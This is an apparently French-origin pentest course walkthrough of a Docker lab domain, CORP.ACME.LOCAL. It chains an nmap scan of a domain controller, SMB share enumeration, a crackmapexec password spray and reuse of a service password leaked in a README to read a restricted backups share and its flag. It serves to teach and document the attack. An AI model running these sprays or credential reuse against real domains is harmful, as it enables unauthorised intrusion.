Lateral movement — Guided walkthrough
Lesson 10.1 settled the vocabulary: pivot, tunnel, relay,
impersonation. Here we open neither ligolo-ng nor a Golden Ticket. We
walk the most common internal-pentest chain in 2026: a seasonal
password, an overly open share, a service credential pasted into a
README. No exploit. Just an identity that changes.
This walkthrough replays the lab exactly
(labs/docker/module-10-mouvements-lateraux). The hands-on then leaves
you alone in it. Here, every command comes with the expected output and
the sentence that says what it proves.
The two containers live on 10.20.30.0/24. No AD port is published to
the host. Every command in this lesson runs from the m10-attaquant
shell.
What you will be able to do
- Read a domain-controller signature off a targeted port scan, without flooding the LAN.
- Tell anonymous SMB enumeration from authenticated enumeration, and what each one allows.
- Extract a credential leaked in a share, then reuse it to open a resource the first identity was denied.
- Qualify the finding: this is not “SMB is open”, it is a four-link chain.
The setup
cd inskillsec-docusaurus/labs/docker/module-10-mouvements-lateraux
docker compose up -d
The DC’s first boot takes about a minute: provisioning the
CORP.ACME.LOCAL domain, creating the accounts, laying down the two
shares. The attacker container waits until dc01 is healthy. Follow
the provision:
docker logs -f m10-dc01
When the line [m10] === Daemon en premier plan === appears, the
domain is ready. Open the attacker shell:
docker compose exec attaquant bash
You are on Kali, at 10.20.30.5. The target is
dc01.corp.acme.local at 10.20.30.10. The container DNS already
points at the DC: resolutions for dc01 and dc01.corp.acme.local
work without a hand-rolled /etc/hosts.
| Item | Value |
|---|---|
| Domain | CORP.ACME.LOCAL (NetBIOS CORP) |
| Controller | dc01.corp.acme.local — 10.20.30.10 |
| Attacker | Kali — 10.20.30.5 |
| Starting point | no credential |
The chain in one diagram
Six hops. A single weak account at the start. The switch to
svc_sql is not a kernel escalation: it is an
impersonation obtained from a file left in the wrong place.
Step 1 — network reconnaissance
You have no password. You map the DC with a port list, not a -p-.
A wide scan on an enterprise LAN breaks printers; here we look for
the signature of a domain controller.
nmap -Pn -p22,53,88,135,139,389,445,464,636,3268,3269 10.20.30.10
Expected output:
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for dc01.corp.acme.local (10.20.30.10)
Host is up (0.00080s latency).
PORT STATE SERVICE
22/tcp closed ssh
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
Reading. The combination 88 + 389 + 3268 + 445 is not
an ordinary file server. Kerberos, LDAP and the global catalog: that
is a DC. Closed 22 is expected: Samba AD does not open SSH. Write
these ports into the report; this is your map. You have not
authenticated anything yet.
Why these ports and not a full scan
On an internal /24, the appearance of Kerberos + LDAP + global
catalog says “focus here”. SMB and the RPC mapper (135) also open
on many non-DC Windows hosts. It is the conjunction that decides.
-Pn skips an ICMP ping that is often filtered; the DC still answers
on TCP.
Step 2 — anonymous SMB enumeration
Before the spray, ask the SMB service what it shows a client with no password. That does not give you a file yet. It gives you a list of names.
smbclient -N -L //10.20.30.10
Expected output (excerpts):
Sharename Type Comment
--------- ---- -------
netlogon Disk Network Logon Service
sysvol Disk
team-notes Disk Notes internes de l'equipe support (lecture pour tous)
backups Disk Sauvegardes internes (acces reserve svc_sql)
IPC$ IPC IPC Service (Samba 4.19)
Reading. Two “business” shares already show up: team-notes and
backups. The Samba comments speak for themselves — an admin wrote
“read for everyone” and “access reserved for svc_sql”. You do not
have the right to read yet. Try anyway, to record the anonymous
baseline:
smbclient -N '//10.20.30.10/team-notes' -c 'ls'
Expected output:
tree connect failed: NT_STATUS_ACCESS_DENIED
The share exists, it is visible, it refuses anonymous. You will need a domain identity. That is exactly what the spray is for.
Step 3 — password spray
You assume three common accounts and three seasonal passwords. Not a 14-million-word wordlist: a spray is few passwords against several accounts, under the lockout threshold.
echo -e "alice\nbob\nsvc_sql" > /tmp/users.txt
echo -e "Summer2025!\nWinter2024!\nPassword1" > /tmp/passwords.txt
crackmapexec smb 10.20.30.10 \
-u /tmp/users.txt \
-p /tmp/passwords.txt \
--continue-on-success
Expected output (the useful lines):
SMB 10.20.30.10 445 DC01 [*] Windows 6.1 Build 0 (name:DC01) (domain:CORP) (signing:True) (SMBv1:False)
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Summer2025! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [+] CORP\bob:Summer2025!
SMB 10.20.30.10 445 DC01 [-] CORP\svc_sql:Summer2025! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\bob:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\svc_sql:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Password1 STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\bob:Password1 STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [+] CORP\svc_sql:Password1
Reading. The [+] lines are successful authentications. You hold
at least bob:Summer2025!. The spray may also show
svc_sql:Password1: Password1 is in the small wordlist. We still
do not jump to backups. On an engagement, that password is not
always in your list. The finding to document is the leak in the
share. So we continue as bob, as if svc_sql had not given in.
--continue-on-success stops the tool from quitting at the first
account. It does not authorize you to throw rockyou.txt at the
domain. Beyond a handful of candidates you lock accounts and the
admin sees the spray. The lab is permissive here; a real AD is not.
alice resists all three candidates: a deliberate decoy. A spray
that finds one account out of three is already a first foothold.
On some Kali images, crackmapexec is called nxc: same binary,
same syntax.
Step 4 — enumerating shares as bob
Same SMB service, different identity. Ask for the actual rights, not just the names.
crackmapexec smb 10.20.30.10 -u bob -p 'Summer2025!' --shares
Expected output:
SMB 10.20.30.10 445 DC01 [*] Enumerated shares
SMB 10.20.30.10 445 DC01 Share Permissions Remark
SMB 10.20.30.10 445 DC01 ----- ----------- ------
SMB 10.20.30.10 445 DC01 netlogon READ
SMB 10.20.30.10 445 DC01 sysvol READ
SMB 10.20.30.10 445 DC01 team-notes READ Notes internes de l'equipe support
SMB 10.20.30.10 445 DC01 backups Sauvegardes internes (acces reserve svc_sql)
SMB 10.20.30.10 445 DC01 IPC$
| Share | Rights of bob | Comment |
|---|---|---|
sysvol / netlogon | READ | Standard AD shares, often empty here |
team-notes | READ | Support-team notes — immediate target |
backups | (none) | Denied. This is the final resource |
bob reads team-notes. bob does not read backups. The pivot,
if it exists, is inside the readable share. We do not attack
Kerberos until we have read the team files.
Step 5 — reading team-notes
smbclient '//10.20.30.10/team-notes' -U 'bob%Summer2025!' \
-c 'ls; mget *; exit'
smbclient asks for confirmation before each mget if you omit
-c. With -c, both files land in the current directory:
README-Onboarding.txt N 1540 ...
deploy-notes.md N 420 ...
Read them.
cat README-Onboarding.txt
cat deploy-notes.md
Expected output (the useful passage from the onboarding):
2. Le SQL Server tourne sur dc01:1433. Si tu dois faire une extraction
pour la compta, connecte-toi avec le compte de service svc_sql. Le
mot de passe est "Password1" — on doit le changer depuis 2 ans mais
personne n a le temps, l acces au SQL est de toute facon interne.
3. Les sauvegardes nocturnes sont sur \\dc01\backups. svc_sql peut y
lire, pas ton compte perso.
deploy-notes.md repeats the same svc_sql / Password1 pair in a
deployment checklist. Two files, one leak.
You hold the pivot: svc_sql:Password1.
A service password in cleartext on a share open to every authenticated user combines three defects: an ACL that is too wide, no rotation, onboarding via a shared file instead of a vault. Each one must appear as a distinct corrective measure. “Harden SMB” fixes none of that.
Step 6 — switching identity to svc_sql
Same resource, two identities. The denial then the access prove that the lateral move holds only on the account, not on an exploit.
smbclient '//10.20.30.10/backups' -U 'bob%Summer2025!' -c 'ls'
Expected output:
NT_STATUS_ACCESS_DENIED listing \*
Then:
smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' -c 'ls'
Expected output:
secret.txt N 2100 ...
bob is still authenticated on the domain. He simply does not have
the right. svc_sql does. You just moved laterally: new
identity, new resource, no binary dropped on the DC.
Also check the shares from svc_sql, for the report:
crackmapexec smb 10.20.30.10 -u svc_sql -p 'Password1' --shares
backups goes to READ. The flag is readable; we write nothing.
Step 7 — reading the flag
smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' \
-c 'get secret.txt /tmp/flag.txt; exit'
cat /tmp/flag.txt
The file recounts the chain you just ran. The line that matters:
Le drapeau que vous cherchez : FLAG-M10-CREDENTIAL-LEAK-CHAIN-2026
Expected flag:
FLAG-M10-CREDENTIAL-LEAK-CHAIN-2026
Keep the file. The hands-on will ask you to attach it to the report
rapport/lateralisation-m10.md.
Reading the output — what each signal is worth
Three sentences you should be able to say in front of a client, with no jargon.
- A DC is recognized by its port signature, not by its name.
88+389+3268are enough. The namedc01is a gift from the lab; on an engagement the same pattern shows up onSRV-ADS-01. - Seeing a share is not entering it. Anonymous lists
team-notesandbackups. Only a domain identity opens the first. Onlysvc_sqlopens the second. Document the three levels: listed, read, denied. - Lateral movement does not require an exploit. Here the hop hangs on a README. In 10.1, Pass-the-Hash and SMB relay do the same job with other objects (hash, challenge). The deliverable is identical: a new identity, a new resource.
The lab does not demonstrate working Kerberoasting: Samba AD
4.19+ rejects Impacket TGS requests (KRB_AP_ERR_INAPP_CKSUM). The
SPNs remain visible; for a real ticket, use HackTheBox Forest
or TryHackMe Attacktive Directory.
Where it goes wrong
dc01is nothealthy.nmapon445staysfilteredorhost down. Re-readdocker logs m10-dc01: until[m10] === Daemon en premier plan ===is there, SMB is not listening. Wait, ordocker compose ps.Summer2025!without quotes. The!gets eaten by bash. Write-p 'Summer2025!'or-U 'bob%Summer2025!'.crackmapexecnot found. Typenxc— same tool, new name. The--sharessyntax does not change.- Interactive
mget. Without-c,smbclientasksGet file ...?for each file. Answery, or rerun with-c 'lcd /tmp; prompt OFF; mget *; exit'. get secret.txt /tmp/flag.txtfails. You are not in ansvc_sqlsession, orlcdpoints elsewhere. Check with-c 'ls'first.- You use the Administrator password from the lab README. That cheats the exercise. The walkthrough starts from network access alone. The admin account exists so the DC stays up, not as a shortcut.
What to remember
The lateral movement in this lesson fits in one sentence: a weak
identity opens an overly wide share, which yields a more useful
identity, which opens the target resource. You dropped no implant,
no tunnel, no forged ticket. On an engagement, this chain is
documented link by link — seasonal password, Domain Users share,
secret in clear, service account with no rotation — because cutting
one link is enough to break it.
The hands-on takes the same lab, without this page open. You replay
the six steps, you write the report, you shut it down with
docker compose down -v.